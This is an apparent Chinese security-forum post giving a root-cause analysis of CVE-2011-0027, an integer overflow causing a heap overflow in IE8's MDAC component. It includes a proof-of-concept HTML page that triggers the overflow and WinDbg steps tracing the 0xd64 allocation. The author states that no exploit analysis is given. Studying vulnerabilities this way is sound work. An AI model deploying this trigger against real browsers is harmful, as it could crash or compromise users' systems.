首页
社区
课程
招聘
[原创]CVE-2011-0027详细分析
2023-12-11 21:10 5080

[原创]CVE-2011-0027详细分析

2023-12-11 21:10
5080

该漏洞行为上是一个整数溢出漏洞,但其本质上还是属于一个堆溢出漏洞,对该漏洞的分析参考了《漏洞战争》,并且借鉴了前辈们的一些分析。
由于要想该漏洞发挥效用还需要配合其他漏洞,因此此处仅仅对该漏洞进行成因分析,而无有关exploit的分析。

漏洞背景

该漏洞的触发场景是因为IE处理XML时用到的MDAC,由于太多分析MDAC对后续分析该漏洞没有太多帮助,因此这里就去繁就简,直接进行漏洞调试

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
    localxmlid1 = document.getElementById('xmlid1').recordset;
    localxmlid1.CacheSize = 0x40000358;         // <==导致生成堆大小为0xd64,造成溢出
    for (var i = 0; i < 0x100000; i++) {
        localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
        localxmlid1.MoveFirst();
    }
}
</script>
<body onLoad="window.setTimeout(Start, 100);" id="bodyid">
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>

这段POC代码源于《漏洞战争》,这里直接照搬使用

正式调试

这里用的环境配置是
32位windows 7 ultimate
Windbg 6.12.0002.633 X86
IE8

首先IE开启页堆

1
c:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /i iexplore.exe +hpa

接着打开IE,用WinDbg附加第一个IE进程(一定要第一个IE进程!)

之后设置子进程调试

1
.childdbg 1

ctrl+s设置符号表

设置完毕后输入g运行
接着打开poc.html,打开poc.html时windbg这边会被int 3断下,所以还要再输入一次g

接着在IE中允许阻止的内容
如果正常的话会停止在异常处

这里我们发现是在往0x0ad1e000处写入数据发生的异常,并且由于我们已经知道这个漏洞是堆溢出,所以直接!heap看看这个堆区域的详情和回溯信息

1
!heap -p -a 0ad1e000


在堆使用回溯中重点查看分配堆的函数(这里仅仅追查到应用上层,因此不看ntdll.dll)

1
2
6d61975d MSDART!MpHeapAlloc+0x00000029
6a3f06e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085

则MpHeapAlloc应该就是实际分配堆的函数

那么我们肯定要在实际堆分配处看看具体分配的大小,毕竟这是导致这个漏洞堆溢出的主要原因之一。

这里看看msado15!CRecordGroup::AllocateHRowRange+0x00000085处的汇编代码(msado15!CRecordGroup::AllocateHRowRange+0x00000085这个是刚刚堆回溯时调用MpHeapAlloc的上层函数)

1
u msado15!CRecordGroup::AllocateHRowRange+0x00000085


发现msado15!CRecordGroup::AllocateHRowRange+0x82处为call edi
;call MpHeapAlloc

接着重新调试(关闭Windbg和IE,再次按照上面的步骤附加IE),这里注意,在设置完子进程调试,并设置符号表后还需输入

1
sxe ld:msado15


这样会使得msado15.dll加载后自动断下
接着在msado15!CRecordGroup::AllocateHRowRange+0x82下断点

1
bu msado15!CRecordGroup::AllocateHRowRange+0x82

但是这里设置了bu msado15!CRecordGroup::AllocateHRowRange+0x82后用bl查看发现断点不是在刚刚的call edi上

那么就直接

1
bp msado15!CRecordGroup::AllocateHRowRange


这次正确了

接着用windbg的反汇编窗口(view->Disassembly)找到call edi的位置并设置断点

运行后dd esp发现参数列表中没有0xd64

再次g允许后dd esp发现了0xd64(为什么要发现0xd64,因为0xd64就是刚刚!heap后发现的溢出堆的堆大小)

那么接下来看看0xd64(和异常发生时的堆大小正好相等)是怎么形成的:
由于0xd64位于第三个参数,那么根据入栈顺序找到push eax

其中eax保存的即为0xd64
那么根据反汇编代码找出的传递链向上回溯为

1
push eax  <=  lea eax,[eax*4+4]  <=  mov eax,edi

这样的话那么就动态调试,在

1
6a1006c6 8bc7            mov     eax,edi

处设置断点,看看edi处存着什么
重新调试附加进程后,依旧在msado15!CRecordGroup::AllocateHRowRange设置断点后运行到mov eax,edi(这里依旧是第一次断点不是,第二次才是)

发现edi=0x40000358
这样就发现了关键,后续就不用再回溯了,因为根据poc.html中

1
localxmlid1.CacheSize = 0x40000358;

这样就找到了直接设置漏洞触发条件的语句
而这里的触发成因就是

1
0x40000358*4+4=0x100000d64

而寄存器只有32位,因此被保存为0x00000d64,导致了堆仅仅被创造为0xd64的大小,后续对该堆的超大赋值即造成溢出


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 12066
活跃值: (15429)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-12-11 22:43
2
0
不错不错
雪    币: 19389
活跃值: (29037)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-12-12 09:43
3
1
感谢分享
游客
登录 | 注册 方可回帖
返回